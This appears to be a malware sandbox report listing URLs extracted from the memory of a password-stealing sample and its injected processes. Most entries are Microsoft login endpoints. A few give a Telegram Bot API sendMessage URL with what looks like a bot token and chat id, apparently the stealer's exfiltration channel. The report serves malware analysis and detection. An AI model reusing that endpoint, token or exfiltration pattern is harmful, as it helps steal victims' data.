Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000007.00000003.1469891074.0000023D06F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470166584.0000023D06F57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: spczxf.exe, 00000008.00000002.1738420103.000001A4C3F01000.00000004.00000800.00020000.00000000.sdmp, aspnet_wp.exe, aspnet_wp.exe, 0000000C.00000002.3891911934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: aspnet_wp.exe, 0000000C.00000002.3893768041.000002109A396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/
Source: aspnet_wp.exe, 0000000C.00000002.3893768041.000002109A396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/%t
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3891974556.0000000000402000.00000040.00000400.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3905812861.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: aspnet_wp.exe, 0000000C.00000002.3892524455.000000BA8DFFB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0
Source: aspnet_wp.exe, 0000000C.00000002.3893768041.000002109A396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0iSrrh-e2fE/sendMessage?chat_id=65855
Source: edb.log.2.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000002.00000003.1443141988.00000142DB110000.00000004.00000800.00020000.00000000.sdmp, edb.log.2.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.ecur
Source: svchost.exe, 00000007.00000002.3901404764.0000023D0763F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3899884261.0000023D066B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf=
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.3864858154.0000023D06702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000007.00000003.1470258101.0000023D06F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000007.00000003.1470258101.0000023D06F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000007.00000003.1469891074.0000023D06F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470258101.0000023D06F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf=
Source: svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srfsrf
Source: svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srfsrf
Source: svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000007.00000003.3864858154.0000023D066FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srfd
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsec
Source: svchost.exe, 00000007.00000003.1470258101.0000023D06F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000007.00000003.1470258101.0000023D06F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000007.00000003.1470258101.0000023D06F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000007.00000003.1470258101.0000023D06F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfr
Source: svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 00000007.00000003.1470258101.0000023D06F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000007.00000003.1469891074.0000023D06F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470258101.0000023D06F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srfssuer
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600UE
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000007.00000003.1470258101.0000023D06F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000007.00000003.1469891074.0000023D06F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=805021
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502R
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.3864858154.0000023D06702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470166584.0000023D06F57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000007.00000003.1469891074.0000023D06F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469955925.0000023D06F5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000007.00000002.3901796862.0000023D076EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000007.00000002.3901796862.0000023D076EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3901317588.0000023D07615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf3
Source: svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfLive
Source: svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
